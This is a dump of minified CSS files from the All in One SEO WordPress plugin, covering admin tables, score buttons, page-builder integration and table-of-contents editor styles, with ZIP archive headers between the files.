ul{max-height:200px;overflow:scroll}body #wp-link-wrap #wp-link #link-selector{overflow:auto}body .block-editor-link-control__settings .block-editor-link-control__setting .components-base-control__field{flex-direction:column}@media (max-width: 782px){body #wp-link-wrap{margin-top:-250px}body #wp-link-wrap #wp-link .link-target label{line-height:30px}}@media (max-height: 750px){body #wp-link-wrap{top:10px;max-height:580px;margin-top:0}}.aioseo-menu-highlight{color:#fff}#toplevel_page_aioseo .aioseo-submenu-highlight{background-color:#1da867}#toplevel_page_aioseo .aioseo-submenu-highlight.red{background-color:#df2a4a}#toplevel_page_aioseo .aioseo-submenu-highlight a{color:#fff;font-weight:600}label[for=aioseo_contact_methods_header]{font-size:1.2em}#aioseo_contact_methods_header{display:none}.aioseo-wp-table table.widefat{border:1px solid #c3c4c7;box-shadow:0 1px 1px #0000000a;background:#fff}.aioseo-wp-table .postbox table.widefat{box-shadow:none}.aioseo-wp-table .widefat{border-spacing:0;width:100%;clear:both;margin:0}.aioseo-wp-table .widefat *{word-wrap:break-word}.aioseo-wp-table .widefat a,.aioseo-wp-table .widefat button.button-link{text-decoration:none}.aioseo-wp-table .widefat td,.aioseo-wp-table .widefat th{padding:8px 10px}.aioseo-wp-table .widefat td:has(.row-actions),.aioseo-wp-table .widefat th:has(.row-actions){padding-bottom:10px}.aioseo-wp-table .widefat thead th,.aioseo-wp-table .widefat thead td{border-bottom:1px solid #c3c4c7}.aioseo-wp-table .widefat tfoot th,.aioseo-wp-table .widefat tfoot td{border-top:1px solid #c3c4c7;border-bottom:none}.aioseo-wp-table .widefat .no-items td{border-bottom-width:0}.aioseo-wp-table .widefat td{vertical-align:top}.aioseo-wp-table .widefat td,.aioseo-wp-table .widefat td p,.aioseo-wp-table .widefat td ol,.aioseo-wp-table .widefat td ul,.aioseo-wp-table .widefat th,.aioseo-wp-table .widefat thead td,.aioseo-wp-table .widefat tfoot td{font-size:14px;line-height:22px}[dir=ltr] .aioseo-wp-table .widefat th,[dir=ltr] .aioseo-wp-table .widefat thead td,[dir=ltr] .aioseo-wp-table .widefat tfoot td{text-align:left}[dir=rtl] .aioseo-wp-table .widefat th,[dir=rtl] .aioseo-wp-table .widefat thead td,[dir=rtl] .aioseo-wp-table .widefat tfoot td{text-align:right}.aioseo-wp-table .widefat th input,.aioseo-wp-table .widefat thead td input,.aioseo-wp-table .widefat tfoot td input{padding:0;vertical-align:text-top}[dir=ltr] .aioseo-wp-table .widefat th input,[dir=ltr] .aioseo-wp-table .widefat thead td input,[dir=ltr] .aioseo-wp-table .widefat tfoot td input{margin:0 0 0 8px}[dir=rtl] .aioseo-wp-table .widefat th input,[dir=rtl] .aioseo-wp-table .widefat thead td input,[dir=rtl] .aioseo-wp-table .widefat tfoot td input{margin:0 8px 0 0}.aioseo-wp-table .widefat .check-column{line-height:1;width:2.2em;padding:6px 0 25px;vertical-align:top}.aioseo-wp-table .widefat tbody th.check-column{padding:9px 0 22px}[dir=ltr] .aioseo-wp-table .widefat thead td.check-column,[dir=ltr] .aioseo-wp-table .widefat tbody th.check-column,[dir=ltr] .aioseo-wp-table .widefat tfoot td.check-column{padding:11px 0 0 3px}[dir=rtl] .aioseo-wp-table .widefat thead td.check-column,[dir=rtl] .aioseo-wp-table .widefat tbody th.check-column,[dir=rtl] .aioseo-wp-table .widefat tfoot td.check-column{padding:11px 3px 0 0}.aioseo-wp-table .widefat thead td.check-column,.aioseo-wp-table .widefat tfoot td.check-column{padding-top:4px;vertical-align:middle}.aioseo-wp-table .no-js .widefat thead .check-column input,.aioseo-wp-table .no-js .widefat tfoot .check-column input{display:none}.aioseo-wp-table .widefat .num{text-align:center}.aioseo-wp-table .widefat th#comments{vertical-align:middle}.aioseo-wp-table .widefat thead th,.aioseo-wp-table .widefat thead td,.aioseo-wp-table .widefat tfoot th,.aioseo-wp-table .widefat tfoot td{line-height:1.4em}.aioseo-wp-table .widefat th,.aioseo-wp-table .widefat td{color:#50575e}.aioseo-wp-table .widefat th,.aioseo-wp-table .widefat thead td,.aioseo-wp-table .widefat tfoot td{font-weight:400}.aioseo-wp-table .widefat thead tr th,.aioseo-wp-table .widefat thead tr td,.aioseo-wp-table .widefat tfoot tr th,.aioseo-wp-table .widefat tfoot tr td{color:#2c3338}.aioseo-wp-table .widefat td p{margin:2px 0 .8em}.aioseo-wp-table .widefat p,.aioseo-wp-table .widefat ol,.aioseo-wp-table .widefat ul{color:#2c3338}.aioseo-wp-table .widefat .column-comment p{margin:.6em 0}.aioseo-wp-table .widefat .column-comment ul{list-style:initial}[dir=ltr] .aioseo-wp-table .widefat .column-comment ul{margin-left:2em}[dir=rtl] .aioseo-wp-table .widefat .column-comment ul{margin-right:2em}.aioseo-wp-table .row-actions span.delete a,.aioseo-wp-table .row-actions span.trash a,.aioseo-wp-table .row-actions span.spam a{color:#b32d2e}.aioseo-wp-table .row-actions .delete a:hover,.aioseo-wp-table .row-actions .trash a:hover,.aioseo-wp-table .row-actions .spam a:hover{color:#b32d2e;border:none}.aioseo-wp-table .row-actions{color:#a7aaad;font-size:12px;line-height:18px;padding:2px 0 0;position:relative}[dir=ltr] .aioseo-wp-table .row-actions{left:-9999em}[dir=rtl] .aioseo-wp-table .row-actions{right:-9999em}.aioseo-wp-table .no-js .row-actions,.aioseo-wp-table tr:hover .row-actions,.aioseo-wp-table .row-actions.visible{position:static}.aioseo-wp-table .widefat thead th,.aioseo-wp-table .widefat thead td,.aioseo-wp-table .widefat tfoot th,.aioseo-wp-table .widefat tfoot td{padding:0 10px;max-height:38px;height:38px}.aioseo-wp-table .widefat thead th.sortable a,.aioseo-wp-table .widefat tfoot th.sortable a{display:flex;align-items:center;height:36px;padding:0;line-height:36px}.aioseo-wp-table .widefat thead th.sortable a .sorting-indicator,.aioseo-wp-table .widefat tfoot th.sortable a .sorting-indicator{margin-top:0}.edit-post-meta-boxes-area #aioseo-settings h2.hndle{border-bottom:none}#aioseo-settings .inside,#aioseo-local-settings .inside{padding:0;margin-top:0}#aioseo-settings .aioseo-tab-content .aioseo-settings-row:last-of-type,#aioseo-local-settings .aioseo-tab-content .aioseo-settings-row:last-of-type{border-bottom:0;margin-bottom:0;padding-bottom:0}#aioseo-tabbed .handlediv{position:absolute;top:0}[dir=ltr] #aioseo-tabbed .handlediv{right:0}[dir=rtl] #aioseo-tabbed .handlediv{left:0}#aioseo-tabbed>.inside{min-height:40px;padding:0;margin-top:0}#aioseo-tabbed .aioseo-tab-content .aioseo-settings-row:last-of-type{border-bottom:0;margin-bottom:0;padding-bottom:0}body.block-editor-page #aioseo-settings .inside{border:1px solid #E8E8EB;border-top:none}body.block-editor-page .edit-post-sidebar .aioseo-app textarea{font-size:16px}#aioseo-post-settings-sidebar-button{display:flex;flex-direction:row;align-items:center;border-radius:3px;height:36px;min-width:36px;margin:-7px;padding:5px;font-weight:700;color:#fff}#aioseo-post-settings-sidebar-button #aioseo-post-score-disabled{color:#434960}[dir=ltr] #aioseo-post-settings-sidebar-button #aioseo-post-score-disabled{margin-left:10px}[dir=rtl] #aioseo-post-settings-sidebar-button #aioseo-post-score-disabled{margin-right:10px}#aioseo-post-settings-sidebar-button.score-green{color:#00aa63;border:1px solid #00AA63}#aioseo-post-settings-sidebar-button.score-green #aioseo-post-score-disabled{display:none}#aioseo-post-settings-sidebar-button.score-orange{color:#f18200;border:1px solid #F18200}#aioseo-post-settings-sidebar-button.score-orange #aioseo-post-score-disabled{display:none}#aioseo-post-settings-sidebar-button.score-red,#aioseo-post-settings-sidebar-button.score-none{color:#df2a4a;border:1px solid #DF2A4A}#aioseo-post-settings-sidebar-button.score-red #aioseo-post-score-disabled,#aioseo-post-settings-sidebar-button.score-none #aioseo-post-score-disabled{display:none}#aioseo-post-settings-sidebar-button svg{fill:currentColor!important}[dir=ltr] #aioseo-post-settings-sidebar-button svg{margin-right:10px}[dir=rtl] #aioseo-post-settings-sidebar-button svg{margin-left:10px}#aioseo-post-settings-sidebar-button svg *{fill:currentColor!important}#aioseo-post-settings-sidebar-button.score-disabled{color:#434960;border:1px solid #434960}#aioseo-post-settings-sidebar-button.score-disabled svg{width:24px;height:24px}[dir=ltr] #aioseo-post-settings-sidebar-button.score-disabled svg{margin-right:0}[dir=rtl] #aioseo-post-settings-sidebar-button.score-disabled svg{margin-left:0}#aioseo-post-settings-sidebar-button.score-disabled span,#aioseo-post-settings-sidebar-button.score-disabled #aioseo-post-score-disabled{display:none}.aioseo-score-settings{display:flex;align-items:center;padding-bottom:14px}[dir=ltr] .aioseo-score-settings svg{margin-right:7px}[dir=rtl] .aioseo-score-settings svg{margin-left:7px}[dir=ltr] .aioseo-score-settings span{margin-right:12px}[dir=rtl] .aioseo-score-settings span{margin-left:12px}.aioseo-score-settings .aioseo-score-button{display:inline-block;padding:5px 8px;font-size:14px;font-weight:700;color:#a1a1a1;border:1px solid #a1a1a1;border-radius:3px}.aioseo-score-settings .aioseo-score-button.score-red,.aioseo-score-settings .aioseo-score-button.score-none{border-color:#df2a4a;color:#df2a4a!important}.aioseo-score-settings .aioseo-score-button.score-orange{border-color:#f18200;color:#f18200!important}.aioseo-score-settings .aioseo-score-button.score-green{border-color:#00aa63;color:#00aa63!important}.aioseo-score-settings .aioseo-score-button.classic-editor{background:#fff!important;display:inline-block!important;height:auto!important}[dir=ltr] .aioseo-score-settings .aioseo-score-button.classic-editor span{margin-right:0}[dir=rtl] .aioseo-score-settings .aioseo-score-button.classic-editor span{margin-left:0}button[aria-label=AIOSEO],button[aria-label=AIOSEO]:hover{background:none!important;box-shadow:none!important}button[aria-label=AIOSEO].is-pressed>#aioseo-post-settings-sidebar-button.score-green,button[aria-label=AIOSEO]:hover.is-pressed>#aioseo-post-settings-sidebar-button.score-green{color:#fff;background-color:#00aa63}button[aria-label=AIOSEO].is-pressed>#aioseo-post-settings-sidebar-button.score-orange,button[aria-label=AIOSEO]:hover.is-pressed>#aioseo-post-settings-sidebar-button.score-orange{color:#fff;background-color:#f18200}button[aria-label=AIOSEO].is-pressed>#aioseo-post-settings-sidebar-button.score-red,button[aria-label=AIOSEO].is-pressed>#aioseo-post-settings-sidebar-button.score-none,button[aria-label=AIOSEO]:hover.is-pressed>#aioseo-post-settings-sidebar-button.score-red,button[aria-label=AIOSEO]:hover.is-pressed>#aioseo-post-settings-sidebar-button.score-none{color:#fff;background-color:#df2a4a}button[aria-label=AIOSEO].is-pressed>#aioseo-post-settings-sidebar-button.score-disabled,button[aria-label=AIOSEO]:hover.is-pressed>#aioseo-post-settings-sidebar-button.score-disabled{color:#fff;background:#434960!important}button[aria-label=AIOSEO].is-pressed>#aioseo-post-settings-sidebar-button.score-disabled #aioseo-post-score-disabled,button[aria-label=AIOSEO]:hover.is-pressed>#aioseo-post-settings-sidebar-button.score-disabled #aioseo-post-score-disabled{color:#fff!important}button[aria-label=AIOSEO].is-toggled>div svg,button[aria-label=AIOSEO].components-icon-button>div svg,button[aria-label=AIOSEO]:hover.is-toggled>div svg,button[aria-label=AIOSEO]:hover.components-icon-button>div svg{fill:#fff!important;stroke:transparent!important}button[aria-label=AIOSEO].is-toggled>div svg *,button[aria-label=AIOSEO].components-icon-button>div svg *,button[aria-label=AIOSEO]:hover.is-toggled>div svg *,button[aria-label=AIOSEO]:hover.components-icon-button>div svg *{fill:#fff!important;stroke:transparent!important}button[aria-label=AIOSEO].is-toggled>div #aioseo-post-score-disabled,button[aria-label=AIOSEO].components-icon-button>div #aioseo-post-score-disabled,button[aria-label=AIOSEO]:hover.is-toggled>div #aioseo-post-score-disabled,button[aria-label=AIOSEO]:hover.components-icon-button>div #aioseo-post-score-disabled{color:#fff!important} PKÉ—[†-ˆ®ÓÓ>all-in-one-seo-pack/dist/Lite/assets/css/Archives.Dnl8jGZu.cssnu„[µü¤.aioseo-search-appearance-archives .icon{display:flex;align-items:center}[dir=ltr] .aioseo-search-appearance-archives .icon{margin-right:16px}[dir=rtl] .aioseo-search-appearance-archives .icon{margin-left:16px} PKÉ—[H-}VÏ Ï ;all-in-one-seo-pack/dist/Lite/assets/css/avada.Yz1KYoy7.cssnu„[µü¤.aioseo-avada-integration{padding:12px 0}.fusion-builder-preview-mode .aioseo-avada-integration{display:none}.aioseo-avada-integration>.aioseo-score-button{cursor:pointer}[dir=ltr] .aioseo-avada-integration>.aioseo-score-button{margin-left:15px}[dir=rtl] .aioseo-avada-integration>.aioseo-score-button{margin-right:15px}.aioseo-avada-integration>.aioseo-score-button--active{border-color:transparent}.aioseo-limit-modified-date-avada{height:100%;position:relative}.aioseo-limit-modified-date-avada__toggle{height:100%;cursor:pointer;background:#198fd9;transition:background-color .2s ease-in-out;display:flex;justify-content:center;align-items:center;position:relative}.aioseo-limit-modified-date-avada__toggle .aioseo-caret{width:18px;height:18px;transition:transform .3s;margin:0 5px}[dir=ltr] .aioseo-limit-modified-date-avada__toggle .aioseo-caret.rotated{transform:rotate(-180deg)}[dir=rtl] .aioseo-limit-modified-date-avada__toggle .aioseo-caret.rotated{transform:rotate(180deg)}.aioseo-limit-modified-date-avada__toggle:before{content:"";width:1px;height:80%;background-color:#34434a;opacity:.2}.aioseo-limit-modified-date-avada__toggle:hover{background-color:#3bc4fe}.aioseo-limit-modified-date-avada__toggle--disabled{cursor:not-allowed;background:#4a5259}.aioseo-limit-modified-date-avada__toggle--disabled:hover{background:#4a5259}.aioseo-limit-modified-date-avada__options{position:absolute;top:100%;width:170px;display:flex;justify-content:end;border-radius:0 0 6px 6px;box-shadow:0 15px 30px #0000004d;overflow:hidden}[dir=ltr] .aioseo-limit-modified-date-avada__options{right:0}[dir=rtl] .aioseo-limit-modified-date-avada__options{left:0}.aioseo-limit-modified-date-avada__option{background:#198fd9;display:inline-flex;height:54px;padding:10px;justify-content:center;align-items:center;gap:10px;flex-shrink:0;cursor:pointer;font-size:12px;font-style:normal;font-weight:700;line-height:16px;color:#fff;transition:background-color .2s ease-in-out}.aioseo-limit-modified-date-avada__option:hover{background-color:#3bc4fe}.aioseo-avada-sidebar{height:calc(100vh - 54px);min-width:320px;position:fixed;z-index:100;top:0;background:#fff;overflow:visible;margin-top:54px;width:320px}[dir=ltr] .aioseo-avada-sidebar{transition:left .25s ease;left:-320px;right:auto}[dir=rtl] .aioseo-avada-sidebar{transition:right .25s ease;right:-320px;left:auto}.aioseo-avada-sidebar--active:not(.fusion-builder-preview-mode) .aioseo-avada-sidebar{box-shadow:0 0 15px #00000026}[dir=ltr] .aioseo-avada-sidebar--active:not(.fusion-builder-preview-mode) .aioseo-avada-sidebar{left:0}[dir=rtl] .aioseo-avada-sidebar--active:not(.fusion-builder-preview-mode) .aioseo-avada-sidebar{right:0}.aioseo-avada-sidebar__header{display:flex;height:54px;align-items:center;flex-shrink:0;border-bottom:1px solid #E0E3E7;padding:10px;font-family:-apple-system,BlinkMacSystemFont,Segoe UI,Roboto,Helvetica,Arial,sans-serif}.aioseo-avada-sidebar__header-title{font-size:14px;font-style:normal;font-weight:700;line-height:22px;color:#198fd9}[dir=ltr] .aioseo-avada-sidebar__header-title{margin-right:8px}[dir=rtl] .aioseo-avada-sidebar__header-title{margin-left:8px}.aioseo-avada-sidebar__header .aioseo-score-button{border-radius:4px}.aioseo-avada-sidebar__content{overflow:auto;height:calc(100% - 54px)} PKÉ—[Qßâu==Call-in-one-seo-pack/dist/Lite/assets/css/BadBotBlocker.BiHxzSWA.cssnu„[µü¤.aioseo-tools-bad-bot-blocker .aioseo-alert{margin-top:10px} PKÉ—[ š? øøCall-in-one-seo-pack/dist/Lite/assets/css/blocks-editor.DhIsz6Km.cssnu„[µü¤[data-type="aioseo/table-of-contents"]:not(.is-selected) .aioseo-toc-menu:not(.aioseo-toc-placeholder){display:none}[data-type="aioseo/table-of-contents"].is-selected .aioseo-toc-list--rendered{display:none}.aioseo-toc-list--rendered a{cursor:default}.wp-block-aioseo-table-of-contents .aioseo-toc-placeholder .aioseo-toc-header{margin-bottom:0!important}.block-editor-block-list__layout .block-editor-block-list__block[data-type="aioseo/table-of-contents"]:not([contenteditable]):focus:after{z-index:0}[data-type="aioseo/faq"]>.wp-block[data-align=full]{margin-left:0;margin-right:0}[dir=ltr] [data-type="aioseo/faq"]>.wp-block[data-align=full]{left:0}[dir=rtl] [data-type="aioseo/faq"]>.wp-block[data-align=full]{right:0}.wp-block-aioseo-faq[data-schema-only=true]{opacity:.5}.is-selected[data-type="aioseo/faq"],.has-child-selected[data-type="aioseo/faq"]{border-radius:2px}.is-selected[data-type="aioseo/faq"]:after,.has-child-selected[data-type="aioseo/faq"]:after{border-radius:2px;outline:1px dotted #8C8F9A} PKÉ—["SS 7P7P<all-in-one-seo-pack/dist/Lite/assets/css/blocks.Veojpb_u.cssnu„[µü¤.aioseo-exclude-posts{display:block}.aioseo-exclude-posts .aioseo-select{max-width:600px;display:inline-block}[dir=ltr] .aioseo-exclude-posts .aioseo-select{margin-right:16px}[dir=rtl] .aioseo-exclude-posts .aioseo-select{margin-left:16px}.aioseo-exclude-posts .aioseo-select button{display:none}.aioseo-exclude-posts .aioseo-select .multiselect__option{display:flex}.aioseo-exclude-posts .aioseo-select .multiselect__option--highlight .option-title{color:#005ae0}.aioseo-exclude-posts .aioseo-button.gray{margin-top:10px}.aioseo-exclude-posts .option{flex:1 0 auto}.aioseo-exclude-posts .option .option-title{font-weight:400;font-size:16px;color:#141b38}.aioseo-exclude-posts .option .option-title .search-term{font-weight:600}.aioseo-exclude-posts .option .option-details{display:flex;align-items:center;font-size:14px;color:#8c8f9a}[dir=ltr] .aioseo-exclude-posts .option .option-details span{margin-right:15px}[dir=rtl] .aioseo-exclude-posts .option .option-details span{margin-left:15px}.aioseo-exclude-posts .option-permalink{display:flex;align-items:center}.aioseo-exclude-posts .option-permalink svg.aioseo-external{width:15px;height:15px;color:#434960}.aioseo-exclude-posts .multiselect-toggle{padding:10px 13px;width:40px;position:absolute;height:36px;top:2px;text-align:center;z-index:1}[dir=ltr] .aioseo-exclude-posts .multiselect-toggle{right:2px}[dir=rtl] .aioseo-exclude-posts .multiselect-toggle{left:2px}.aioseo-exclude-posts .multiselect-toggle svg.aioseo-add-plus{width:14px;height:14px;color:#000}.aioseo-sidebar-row .aioseo-included-objects-toggle{margin-top:5px}.aioseo-sidebar-row .aioseo-included-objects-toggle .aioseo-included-list{margin-top:8px}.block-editor-block-card{align-items:center}.block-editor-block-card__title.block-editor-block-card__title{margin:0}.aioseo-sidebar-row+.aioseo-sidebar-row{margin-top:16px}.aioseo-sidebar-row .aioseo-sidebar-title{font-weight:500}.sidebar-row[data-v-8ebccde0]{margin-bottom:16px}.sidebar-row .title[data-v-8ebccde0]{font-weight:600}.sidebar-row.labels>div[data-v-8ebccde0]{margin-bottom:16px}.sidebar-row.labels label[data-v-8ebccde0]{display:block;margin-bottom:4px}.sidebar-row[data-v-23e1b87b]{margin-bottom:16px}.sidebar-row .title[data-v-23e1b87b]{font-weight:600}.sidebar-row.labels label[data-v-23e1b87b]{display:block;margin-bottom:4px}.sidebar-row{margin-bottom:16px}.sidebar-row .title{font-weight:700}.sidebar-row[data-v-657b2056]{margin-bottom:16px}.sidebar-row .title[data-v-657b2056]{font-weight:600}.sidebar-row.dimensions[data-v-657b2056]{display:flex;flex-direction:row;justify-content:space-between;margin-left:-10px;margin-right:-10px}.sidebar-row.dimensions>div[data-v-657b2056]{padding:0 10px}.sidebar-row.dimensions label[data-v-657b2056]{display:block;padding-bottom:8px}.wp-block-aioseo-table-of-contents .aioseo-toc-menu .aioseo-toc-list,.aioseo-modal.aioseo-toc-modal .aioseo-toc-list{margin:0;padding:0}.wp-block-aioseo-table-of-contents .aioseo-toc-menu .aioseo-toc-list li.aioseo-toc-list-item,.aioseo-modal.aioseo-toc-modal .aioseo-toc-list li.aioseo-toc-list-item{margin:0}.wp-block-aioseo-table-of-contents .aioseo-toc-menu .aioseo-toc-list li.aioseo-toc-list-item.heading-hidden,.aioseo-modal.aioseo-toc-modal .aioseo-toc-list li.aioseo-toc-list-item.heading-hidden{display:block}.wp-block-aioseo-table-of-contents .aioseo-toc-menu .aioseo-toc-list .aioseo-toc-list-nested:is(ul,ol),.aioseo-modal.aioseo-toc-modal .aioseo-toc-list .aioseo-toc-list-nested:is(ul,ol){width:100%}[dir=ltr] .wp-block-aioseo-table-of-contents .aioseo-toc-menu .aioseo-toc-list .aioseo-toc-list-nested:is(ul,ol),[dir=ltr] .aioseo-modal.aioseo-toc-modal .aioseo-toc-list .aioseo-toc-list-nested:is(ul,ol){padding-left:30px}[dir=rtl] .wp-block-aioseo-table-of-contents .aioseo-toc-menu .aioseo-toc-list .aioseo-toc-list-nested:is(ul,ol),[dir=rtl] .aioseo-modal.aioseo-toc-modal .aioseo-toc-list .aioseo-toc-list-nested:is(ul,ol){padding-right:30px}.wp-block-aioseo-table-of-contents .aioseo-toc-menu svg,.aioseo-modal.aioseo-toc-modal svg{width:24px;height:24px;fill:currentColor}.wp-block-aioseo-table-of-contents .aioseo-toc-menu button.has-icon,.aioseo-modal.aioseo-toc-modal button.has-icon{display:inline-flex;align-items:center;justify-content:center;height:48px;width:40px;cursor:pointer;text-decoration:none;text-shadow:none;outline:1px solid transparent;border-width:0;color:#8c8f9a;padding:0;background:none}.wp-block-aioseo-table-of-contents .aioseo-toc-menu button.aioseo-hide-heading-toggle,.aioseo-modal.aioseo-toc-modal button.aioseo-hide-heading-toggle{background-color:#f3f4f5}.wp-block-aioseo-table-of-contents .aioseo-toc-menu .aioseo-toc-list-item .aioseo-toc-list-item__inner,.aioseo-modal.aioseo-toc-modal .aioseo-toc-list-item .aioseo-toc-list-item__inner{display:flex;flex-wrap:wrap;position:relative}.wp-block-aioseo-table-of-contents .aioseo-toc-menu .aioseo-toc-list-item>.aioseo-toc-list-item__inner>:not(.aioseo-toc-list),.aioseo-modal.aioseo-toc-modal .aioseo-toc-list-item>.aioseo-toc-list-item__inner>:not(.aioseo-toc-list){margin-block:4px}.wp-block-aioseo-table-of-contents .aioseo-toc-menu .aioseo-toc-list-item .row-input,.aioseo-modal.aioseo-toc-modal .aioseo-toc-list-item .row-input{position:relative;width:100%;max-width:calc(100% - 40px);transition:opacity .2s}.wp-block-aioseo-table-of-contents .aioseo-toc-menu .aioseo-toc-list-item .row-input:not(:hover,:focus-within),.aioseo-modal.aioseo-toc-modal .aioseo-toc-list-item .row-input:not(:hover,:focus-within){overflow:hidden}.wp-block-aioseo-table-of-contents .aioseo-toc-menu .aioseo-toc-list-item .row-input input,.aioseo-modal.aioseo-toc-modal .aioseo-toc-list-item .row-input input{color:#141b38;font-size:16px;line-height:1.25;padding:15px;transition:background-color,border-color,opacity .3s}.wp-block-aioseo-table-of-contents .aioseo-toc-menu .aioseo-toc-list-item .row-input.row-input--anchor,.aioseo-modal.aioseo-toc-modal .aioseo-toc-list-item .row-input.row-input--anchor{position:absolute;z-index:-1}[dir=ltr] .wp-block-aioseo-table-of-contents .aioseo-toc-menu .aioseo-toc-list-item .row-input.row-input--anchor,[dir=ltr] .aioseo-modal.aioseo-toc-modal .aioseo-toc-list-item .row-input.row-input--anchor{right:40px}[dir=rtl] .wp-block-aioseo-table-of-contents .aioseo-toc-menu .aioseo-toc-list-item .row-input.row-input--anchor,[dir=rtl] .aioseo-modal.aioseo-toc-modal .aioseo-toc-list-item .row-input.row-input--anchor{left:40px}.wp-block-aioseo-table-of-contents .aioseo-toc-menu .aioseo-toc-list-item .row-input.row-input--anchor input,.aioseo-modal.aioseo-toc-modal .aioseo-toc-list-item .row-input.row-input--anchor input{animation:anchorInputOut .3s ease-out}.wp-block-aioseo-table-of-contents .aioseo-toc-menu .aioseo-toc-list-item .row-input .append-icon,.aioseo-modal.aioseo-toc-modal .aioseo-toc-list-item .row-input .append-icon{display:flex;align-content:center;justify-content:end;position:absolute;top:1px;width:fit-content;max-height:calc(100% - 2px);opacity:1}[dir=ltr] .wp-block-aioseo-table-of-contents .aioseo-toc-menu .aioseo-toc-list-item .row-input .append-icon,[dir=ltr] .aioseo-modal.aioseo-toc-modal .aioseo-toc-list-item .row-input .append-icon{right:1px;padding-left:14px;padding-right:16px;border-radius:0 3px 3px 0;background-image:linear-gradient(to right,transparent,rgb(255,255,255) 8px)}[dir=rtl] .wp-block-aioseo-table-of-contents .aioseo-toc-menu .aioseo-toc-list-item .row-input .append-icon,[dir=rtl] .aioseo-modal.aioseo-toc-modal .aioseo-toc-list-item .row-input .append-icon{left:1px;padding-right:14px;padding-left:16px;border-radius:3px 0 0 3px;background-image:linear-gradient(to left,transparent,rgb(255,255,255) 8px)}[dir=ltr] .wp-block-aioseo-table-of-contents .aioseo-toc-menu .aioseo-toc-list-item .row-input .append-icon .aioseo-tooltip,[dir=ltr] .aioseo-modal.aioseo-toc-modal .aioseo-toc-list-item .row-input .append-icon .aioseo-tooltip{margin-left:0}[dir=rtl] .wp-block-aioseo-table-of-contents .aioseo-toc-menu .aioseo-toc-list-item .row-input .append-icon .aioseo-tooltip,[dir=rtl] .aioseo-modal.aioseo-toc-modal .aioseo-toc-list-item .row-input .append-icon .aioseo-tooltip{margin-right:0}.wp-block-aioseo-table-of-contents .aioseo-toc-menu .aioseo-toc-list-item .row-input .append-icon .aioseo-tooltip div,.aioseo-modal.aioseo-toc-modal .aioseo-toc-list-item .row-input .append-icon .aioseo-tooltip div{display:flex}.wp-block-aioseo-table-of-contents .aioseo-toc-menu .aioseo-toc-list-item .row-input .append-icon svg,.aioseo-modal.aioseo-toc-modal .aioseo-toc-list-item .row-input .append-icon svg{color:#8c8f9a;width:24px;height:24px;cursor:pointer}.wp-block-aioseo-table-of-contents .aioseo-toc-menu .aioseo-toc-list-item .row-input .append-icon svg.aioseo-close,.aioseo-modal.aioseo-toc-modal .aioseo-toc-list-item .row-input .append-icon svg.aioseo-close{width:14px;height:14px}[dir=ltr] .wp-block-aioseo-table-of-contents .aioseo-toc-menu .aioseo-toc-list-item .row-input .append-icon svg.aioseo-close,[dir=ltr] .aioseo-modal.aioseo-toc-modal .aioseo-toc-list-item .row-input .append-icon svg.aioseo-close{margin-right:5px;margin-left:12px}[dir=rtl] .wp-block-aioseo-table-of-contents .aioseo-toc-menu .aioseo-toc-list-item .row-input .append-icon svg.aioseo-close,[dir=rtl] .aioseo-modal.aioseo-toc-modal .aioseo-toc-list-item .row-input .append-icon svg.aioseo-close{margin-left:5px;margin-right:12px}.wp-block-aioseo-table-of-contents .aioseo-toc-menu .aioseo-toc-list-item.anchor-edit>.aioseo-toc-list-item__inner>.row-input.row-input--content,.aioseo-modal.aioseo-toc-modal .aioseo-toc-list-item.anchor-edit>.aioseo-toc-list-item__inner>.row-input.row-input--content{z-index:0}.wp-block-aioseo-table-of-contents .aioseo-toc-menu .aioseo-toc-list-item.anchor-edit>.aioseo-toc-list-item__inner>.row-input.row-input--anchor,.aioseo-modal.aioseo-toc-modal .aioseo-toc-list-item.anchor-edit>.aioseo-toc-list-item__inner>.row-input.row-input--anchor{z-index:1}.wp-block-aioseo-table-of-contents .aioseo-toc-menu .aioseo-toc-list-item.anchor-edit>.aioseo-toc-list-item__inner>.row-input.row-input--anchor input,.aioseo-modal.aioseo-toc-modal .aioseo-toc-list-item.anchor-edit>.aioseo-toc-list-item__inner>.row-input.row-input--anchor input{animation:anchorInputIn .3s ease-in}[dir=ltr] .wp-block-aioseo-table-of-contents .aioseo-toc-menu .aioseo-toc-list-item.anchor-edit>.aioseo-toc-list-item__inner>.row-input.row-input--anchor input,[dir=ltr] .aioseo-modal.aioseo-toc-modal .aioseo-toc-list-item.anchor-edit>.aioseo-toc-list-item__inner>.row-input.row-input--anchor input{padding-right:78px}[dir=rtl] .wp-block-aioseo-table-of-contents .aioseo-toc-menu .aioseo-toc-list-item.anchor-edit>.aioseo-toc-list-item__inner>.row-input.row-input--anchor input,[dir=rtl] .aioseo-modal.aioseo-toc-modal .aioseo-toc-list-item.anchor-edit>.aioseo-toc-list-item__inner>.row-input.row-input--anchor input{padding-left:78px}.wp-block-aioseo-table-of-contents .aioseo-toc-menu .aioseo-toc-list-item.anchor-is-animating>.aioseo-toc-list-item__inner>.row-input,.aioseo-modal.aioseo-toc-modal .aioseo-toc-list-item.anchor-is-animating>.aioseo-toc-list-item__inner>.row-input{overflow:hidden}.wp-block-aioseo-table-of-contents .aioseo-toc-menu .aioseo-toc-list-item.anchor-is-animating>.aioseo-toc-list-item__inner>.row-input .append-icon,.aioseo-modal.aioseo-toc-modal .aioseo-toc-list-item.anchor-is-animating>.aioseo-toc-list-item__inner>.row-input .append-icon{opacity:0;transition:none}.wp-block-aioseo-table-of-contents .aioseo-toc-menu .aioseo-toc-list-item.anchor-is-animating>.aioseo-toc-list-item__inner>.row-input--anchor,.aioseo-modal.aioseo-toc-modal .aioseo-toc-list-item.anchor-is-animating>.aioseo-toc-list-item__inner>.row-input--anchor{z-index:1}.wp-block-aioseo-table-of-contents .aioseo-toc-menu .aioseo-toc-list-item.anchor-is-animating.anchor-edit>.aioseo-toc-list-item__inner>.row-input--content input,.aioseo-modal.aioseo-toc-modal .aioseo-toc-list-item.anchor-is-animating.anchor-edit>.aioseo-toc-list-item__inner>.row-input--content input{animation:contentInputOut .3s ease-out}.wp-block-aioseo-table-of-contents .aioseo-toc-menu .aioseo-toc-list-item.anchor-is-animating:not(.anchor-edit)>.aioseo-toc-list-item__inner>.row-input--content input,.aioseo-modal.aioseo-toc-modal .aioseo-toc-list-item.anchor-is-animating:not(.anchor-edit)>.aioseo-toc-list-item__inner>.row-input--content input{animation:contentInputIn .3s ease-in}.wp-block-aioseo-table-of-contents .aioseo-toc-menu .heading-hidden>.aioseo-toc-list-item__inner>.row-input,.aioseo-modal.aioseo-toc-modal .heading-hidden>.aioseo-toc-list-item__inner>.row-input{pointer-events:none}.wp-block-aioseo-table-of-contents .aioseo-toc-menu 